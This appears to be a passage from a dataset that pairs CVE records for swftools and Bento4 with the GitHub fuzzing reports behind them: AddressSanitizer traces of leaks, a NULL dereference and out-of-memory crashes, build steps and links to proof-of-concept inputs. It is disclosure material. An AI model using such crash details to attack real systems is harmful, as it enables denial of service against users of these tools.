#0 0x4af748 in calloc /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:154
#1 0x588b93 in rfx_calloc /home/bupt/Desktop/swftools/lib/mem.c:69:9
#2 0x4fb951 in main /home/bupt/Desktop/swftools/src/gif2swf.c:728:17
#3 0x7fb865a10c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
Direct leak of 56 byte(s) in 1 object(s) allocated from:
#0 0x4af748 in calloc /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:154
#1 0x588b93 in rfx_calloc /home/bupt/Desktop/swftools/lib/mem.c:69:9
#2 0x4fb9d9 in main /home/bupt/Desktop/swftools/src/gif2swf.c:730:21
#3 0x7fb865a10c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4af580 in malloc /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x58897e in rfx_alloc /home/bupt/Desktop/swftools/lib/mem.c:30:9
#2 0x51e69a in swf_ShapeAddBitmapFillStyle /home/bupt/Desktop/swftools/lib/modules/swfshape.c:312:10
#3 0x4fb9d9 in main /home/bupt/Desktop/swftools/src/gif2swf.c:730:21
#4 0x7fb865a10c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4af580 in malloc /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x58897e in rfx_alloc /home/bupt/Desktop/swftools/lib/mem.c:30:9
#2 0x51e69a in swf_ShapeAddBitmapFillStyle /home/bupt/Desktop/swftools/lib/modules/swfshape.c:312:10
#3 0x4fb951 in main /home/bupt/Desktop/swftools/src/gif2swf.c:728:17
#4 0x7fb865a10c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: 240 byte(s) leaked in 4 allocation(s).
info: No menu item '=' in node '(dir)Top'==32723==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 56 byte(s) in 1 object(s) allocated from:
#0 0x4af748 in calloc /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:154
#1 0x588b93 in rfx_calloc /home/bupt/Desktop/swftools/lib/mem.c:69:9
#2 0x4fb951 in main /home/bupt/Desktop/swftools/src/gif2swf.c:728:17
#3 0x7fb865a10c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
Direct leak of 56 byte(s) in 1 object(s) allocated from:
#0 0x4af748 in calloc /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:154
#1 0x588b93 in rfx_calloc /home/bupt/Desktop/swftools/lib/mem.c:69:9
#2 0x4fb9d9 in main /home/bupt/Desktop/swftools/src/gif2swf.c:730:21
#3 0x7fb865a10c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4af580 in malloc /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x58897e in rfx_alloc /home/bupt/Desktop/swftools/lib/mem.c:30:9
#2 0x51e69a in swf_ShapeAddBitmapFillStyle /home/bupt/Desktop/swftools/lib/modules/swfshape.c:312:10
#3 0x4fb9d9 in main /home/bupt/Desktop/swftools/src/gif2swf.c:730:21
#4 0x7fb865a10c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4af580 in malloc /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x58897e in rfx_alloc /home/bupt/Desktop/swftools/lib/mem.c:30:9
#2 0x51e69a in swf_ShapeAddBitmapFillStyle /home/bupt/Desktop/swftools/lib/modules/swfshape.c:312:10
#3 0x4fb951 in main /home/bupt/Desktop/swftools/src/gif2swf.c:728:17
#4 0x7fb865a10c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: 240 byte(s) leaked in 4 allocation(s).
```
|
bug found in swftools-gif2swf
|
https://api.github.com/repos/swftools/swftools/issues/181/comments
| 0 |
2022-07-03T08:28:59Z
|
2022-07-04T03:28:11Z
|
https://github.com/swftools/swftools/issues/181
| 1,292,243,070 | 181 |
CVE-2022-41841
|
2022-09-30T05:15:11.260
|
An issue was discovered in Bento4 through 1.6.0-639. A NULL pointer dereference occurs in AP4_File::ParseStream in Core/Ap4File.cpp, which is called from AP4_File::AP4_File.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/779"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:*:*:*:*:*:*:*:*",
"matchCriteriaId": "180AEBD6-AF89-4F0F-856E-D8B977C762C0",
"versionEndExcluding": null,
"versionEndIncluding": "1.6.0-639",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/779
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hello, I use my fuzzer to fuzz binary mp4tag and binary mp42hevc , and found some crashes. The bug1 is different from issue #295, because i run the test-001.mp4 finding it useless. Here are the details.
# Bug1
```
┌──(kali㉿kali)-[~/Desktop/Bento4/cmakebuild]
└─$ ./mp4tag mp4tag_poc
ERROR: cannot open input file
=================================================================
==2376684==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 40 byte(s) in 1 object(s) allocated from:
#0 0x4c93dd in operator new(unsigned long) (/home/kali/Desktop/Bento4/cmakebuild/mp4tag+0x4c93dd)
#1 0x4ccf5e in ParseCommandLine(int, char**) /home/kali/Desktop/Bento4/Source/C++/Apps/Mp4Tag/Mp4Tag.cpp:207:34
#2 0x4ccf5e in main /home/kali/Desktop/Bento4/Source/C++/Apps/Mp4Tag/Mp4Tag.cpp:783:5
#3 0x7f1b3ea14209 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: 40 byte(s) leaked in 1 allocation(s).
```
# Bug2
```
┌──(kali㉿kali)-[~/Desktop/Bento4/cmakebuild]
└─$ ./mp42hevc mp42hevc_poc /dev/null 1 ⨯
ERROR: cannot open input (-5)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2392528==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000004d52c3 bp 0x7fff8ac3ad90 sp 0x7fff8ac3ac40 T0)
==2392528==The signal is caused by a READ memory access.
==2392528==Hint: address points to the zero page.
#0 0x4d52c3 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/kali/Desktop/Bento4/Source/C++/Core/Ap4File.cpp:103:12
#1 0x4d5aea in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/kali/Desktop/Bento4/Source/C++/Core/Ap4File.cpp:78:5
#2 0x4cbea4 in main /home/kali/Desktop/Bento4/Source/C++/Apps/Mp42Hevc/Mp42Hevc.cpp:374:32
#3 0x7fd8587a8209 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#4 0x7fd8587a82bb in __libc_start_main csu/../csu/libc-start.c:389:3
#5 0x41f600 in _start (/home/kali/Desktop/Bento4/cmakebuild/mp42hevc+0x41f600)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/kali/Desktop/Bento4/Source/C++/Core/Ap4File.cpp:103:12 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool)
==2392528==ABORTING
```
# Environment
```
clang 11.0.1
clang++ 11.0.1
version:master branch(commit[5b7cc25](https://github.com/axiomatic-systems/Bento4/commit/5b7cc2500d514717a64675fcf631939494c074ce))+Bento4-1.6.0-639
```
# Platform
```
└─$ uname -a 1 ⨯
Linux kali 5.10.0-kali9-amd64 #1 SMP Debian 5.10.46-4kali1 (2021-08-09) x86_64 GNU/Linux
```
# How to reproduce
```
export CC=clang
export CXX=clang++
export CFLAGS="-fsanitize=address -g"
export CXXFLAGS="-fsanitize=address -g"
mkdir cmakebuild
cd cmakebuild
cmake -DCMAKE_BUILD_TYPE=Release ..
make
```
# Note
```
I find the two bugs not only exist in latest branch but also exist in latest release version Bento4-1.6.0-639.
```
# POC
[poc_Bento4.zip](https://github.com/axiomatic-systems/Bento4/files/9653209/poc_Bento4.zip)
# Credit
Yuhang Huang ([NCNIPC of China](http://www.nipc.org.cn/)),(Zhongguancun Laboratory)
Han Zheng ([NCNIPC of China](http://www.nipc.org.cn/), [Hexhive](http://hexhive.epfl.ch/)),(Zhongguancun Laboratory)
Wanying Cao, Mengyue Feng([NCNIPC of China](http://www.nipc.org.cn/)),(Zhongguancun Laboratory)
Thansk for your time!
|
There are some vulnerabilities in Bento4
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/779/comments
| 0 |
2022-09-27T08:01:55Z
|
2023-06-26T06:51:17Z
|
https://github.com/axiomatic-systems/Bento4/issues/779
| 1,387,303,483 | 779 |
CVE-2022-41845
|
2022-09-30T05:15:11.787
|
An issue was discovered in Bento4 1.6.0-639. There ie excessive memory consumption in the function AP4_Array<AP4_ElstEntry>::EnsureCapacity in Core/Ap4Array.h.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/747"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/770"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/747
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hi, i find 3 out-of-memory errors in Bento4. I saved all my test files [here](https://github.com/WorldExecute/files/tree/main/Bento4)
Here are the details.
For **mp4audioclip** with [test input](https://github.com/WorldExecute/files/tree/main/Bento4/mp4audioclip/out-of-memory):
```
test_1:
=================================================================
==6930==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0xffffff1e0 bytes
#0 0x4c560d in operator new(unsigned long) (/Bento4/install-asan/bin/mp4audioclip+0x4c560d)
#1 0x5dce28 in AP4_Array<AP4_TrunAtom::Entry>::EnsureCapacity(unsigned int) /Bento4/Source/C++/Core/Ap4Array.h:172:25
#2 0x5dce28 in AP4_Array<AP4_TrunAtom::Entry>::SetItemCount(unsigned int) /Bento4/Source/C++/Core/Ap4Array.h:210:25
#3 0x5dce28 in AP4_TrunAtom::AP4_TrunAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4TrunAtom.cpp:127:15
#4 0x5dc1f9 in AP4_TrunAtom::Create(unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4TrunAtom.cpp:51:16
#5 0x50e852 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:438:20
#6 0x50bab9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#7 0x5240d7 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#8 0x5231a3 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#9 0x5231a3 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#10 0x50dcd2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#11 0x50bab9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#12 0x5240d7 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#13 0x5231a3 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#14 0x5231a3 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#15 0x50dcd2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#16 0x50bab9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#17 0x541dd9 in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#18 0x5416e8 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#19 0x50e924 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:580:20
#20 0x50bab9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#21 0x523ea7 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#22 0x5231a3 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#23 0x5231a3 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#24 0x50dcd2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#25 0x50bab9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#26 0x5240d7 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#27 0x5231a3 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#28 0x5231a3 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#29 0x50dcd2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#30 0x50bab9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#31 0x541dd9 in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#32 0x5416e8 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#33 0x50e924 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:580:20
#34 0x50bab9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#35 0x523ea7 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
==6930==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory (/Bento4/install-asan/bin/mp4audioclip+0x4c560d) in operator new(unsigned long)
==6930==ABORTING
test_2:
=================================================================
==56759==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0xc5d400b8 bytes
#0 0x4c571d in operator new[](unsigned long) (/Bento4/install-asan/bin/mp4audioclip+0x4c571d)
#1 0x53dd69 in AP4_DataBuffer::ReallocateBuffer(unsigned int) /Bento4/Source/C++/Core/Ap4DataBuffer.cpp:210:28
#2 0x53dd69 in AP4_DataBuffer::SetDataSize(unsigned int) /Bento4/Source/C++/Core/Ap4DataBuffer.cpp:151:33
==56759==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory (/Bento4/install-asan/bin/mp4audioclip+0x4c571d) in operator new[](unsigned long)
==56759==ABORTING
```
For **mp4dump** with [test input](https://github.com/WorldExecute/files/blob/main/Bento4/mp4dump/out-of-memory/test_1):
```
=================================================================
==108091==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0xf500000a0 bytes
#0 0x4c562d in operator new(unsigned long) (/Bento4/install-asan/bin/mp4dump+0x4c562d)
#1 0x5c35f8 in AP4_Array<AP4_TrunAtom::Entry>::EnsureCapacity(unsigned int) /Bento4/Source/C++/Core/Ap4Array.h:172:25
#2 0x5c35f8 in AP4_Array<AP4_TrunAtom::Entry>::SetItemCount(unsigned int) /Bento4/Source/C++/Core/Ap4Array.h:210:25
#3 0x5c35f8 in AP4_TrunAtom::AP4_TrunAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4TrunAtom.cpp:127:15
#4 0x5c29c9 in AP4_TrunAtom::Create(unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4TrunAtom.cpp:51:16
#5 0x4e5252 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:438:20
#6 0x4e24b9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#7 0x4f8667 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#8 0x4f7733 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#9 0x4f7733 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#10 0x4e46d2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#11 0x4e24b9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#12 0x4f8667 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#13 0x4f7733 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#14 0x4f7733 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#15 0x4e46d2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#16 0x4e24b9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#17 0x516429 in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#18 0x515d38 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#19 0x4e5324 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:580:20
#20 0x4e24b9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#21 0x4f8437 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#22 0x4f7733 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#23 0x4f7733 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#24 0x4e46d2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#25 0x4e24b9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#26 0x4f8667 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#27 0x4f7733 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#28 0x4f7733 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#29 0x4e46d2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#30 0x4e24b9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#31 0x4f8667 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#32 0x4f7733 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#33 0x4f7733 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#34 0x4e46d2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#35 0x4e24b9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#36 0x516429 in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4DrefAtom.cpp:84:16
==108091==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory (/Bento4/install-asan/bin/mp4dump+0x4c562d) in operator new(unsigned long)
==108091==ABORTING
```
You can use the following setp to reproduce all the problems.
```
git clone https://github.com/axiomatic-systems/Bento4
cd Bento4/
mkdir check && cd check
cmake ../ -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-fsanitize=address" -DCMAKE_CXX_FLAGS="-fsanitize=address" -DCMAKE_BUILD_TYPE=Release
make -j
git clone https://github.com/WorldExecute/files.git
./mp4audioclip ./files/Bento4/mp4audioclip/out-of-memory/test_1 /dev/null
./mp4dump ./files/Bento4/mp4dump/out-of-memory/test_1
```
Thanks for your time!
|
out-of-memory
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/747/comments
| 0 |
2022-08-28T07:58:44Z
|
2023-05-29T02:53:16Z
|
https://github.com/axiomatic-systems/Bento4/issues/747
| 1,353,278,230 | 747 |
CVE-2022-41845
|
2022-09-30T05:15:11.787
|
An issue was discovered in Bento4 1.6.0-639. There ie excessive memory consumption in the function AP4_Array<AP4_ElstEntry>::EnsureCapacity in Core/Ap4Array.h.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
